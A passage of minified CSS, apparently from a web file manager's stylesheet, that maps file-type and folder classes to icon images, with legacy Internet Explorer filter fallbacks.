\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none 